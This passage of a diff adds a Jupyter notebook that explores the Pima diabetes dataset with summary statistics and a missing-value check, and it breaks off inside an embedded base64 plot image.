+ ] + }, + "execution_count": 3, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "data.describe()" + ] + }, + { + "cell_type": "code", + "execution_count": 4, + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "Pregnancies 0\n", + "Glucose 0\n", + "BloodPressure 0\n", + "SkinThickness 0\n", + "Insulin 0\n", + "BMI 0\n", + "DiabetesPedigreeFunction 0\n", + "Age 0\n", + "Outcome 0\n", + "dtype: int64" + ] + }, + "execution_count": 4, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "# We can see there aren't any NaN values in the data\n", + "data.isna().sum()" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "#### Data Visualization and finding correlation between the feature and extracting features that affect the target feature" + ] + }, + { + "cell_type": "code", + "execution_count": 5, + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "" + ] + }, + "execution_count": 5, + "metadata": {}, + "output_type": "execute_result" + }, + { + "data": { + "image/png": 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wDGhjjHnAWvuWF2ITEREREZEA5GkSEgx0sdbuBjDGNAHeBAYC8wElISIiIiIiHrCqxsLhYbsW+xKQSnsqn8sEyv7+sEREREREJFB52hMy1xjzNa6bFgKcU/lcfSDbG4GJiIiIiEhg8jQJmQSMBY6tXH4D+MRaa4ETvBGYiIiIiEggUjWW51P0WmPMUiDHWvuDMSYCaADkeTU6EREREREJOB6NCTHGXA18DEyvfCoR+NxLMYmIiIiISADzdGD6JGAokAtgrd0INPZWUCIiIiIiAcvWooefeJqElFhrS/ctGGOCUTmbiIiIiIj8BZ4OTJ9njLkLCDfGjACuA77yXlgiIiIiIoHJ6lq+xz0hdwDpwCpgIjALmOKtoEREREREJHDV2BNijAkCkqy1nYGXvB+SiIiIiIgEshqTEGtthTFmvTGmpbV2hy+CEhEREREJVFbVWB6PCYkBkowxS4CCfU9aa8/0SlQiIiIiIhKwPE1C7vFqFCIiIiIictQ4YhJijAkDrgHa4xqU/oq1ttwXgYmIiIiIBCJVY9U8O9YbQH9cCchpwONej0hERERERAJaTeVYXa21PQCMMa8AS7wfkoiIiIiIBLKakpCyfT9Ya8uNMV4OR0REREQksGl2rJqTkF7GmNzKnw2uO6bnVv5srbVRXo1OREREREQCzhGTEGttkK8CERERERE5OqgrpKaB6SIiIiIiIn8rJSEiIiIiIuJTnt6sUERERERE/gYamK6eEBERERER8TElISIiIiIi4lMqxxIRERER8SFVY4Gx3i9K03EWEREREV+oE3fW3pFZUmvOj1vGhvrlmPmkJyTx2s988WvqvORpZ1Nc7u8oar+wYGh909f+DqPW2/b0aKIveMvfYdQJOe9dwqjpS/wdRq03c+IAet33o7/DqBP++PdJtJj0hb/DqPV2Pj+Gwf+d7+8war1f7xjObV+v93cYdcJjozv5OwTxkMqxRERERER8SLNjaWC6iIiIiIj4mHpCRERERER8yGrItHpCRERERETEt5SEiIiIiIiIT6kcS0RERETEl1SNpZ4QERERERHxLSUhIiIiIiLiUyrHEhERERHxIVVjqSdERERERER8TEmIiIiIiIj4lMqxRERERER8yKoeSz0hIiIiIiLiW+oJERERERHxIauh6eoJERERERER31ISIiIiIiIiPqVyLBERERERX1I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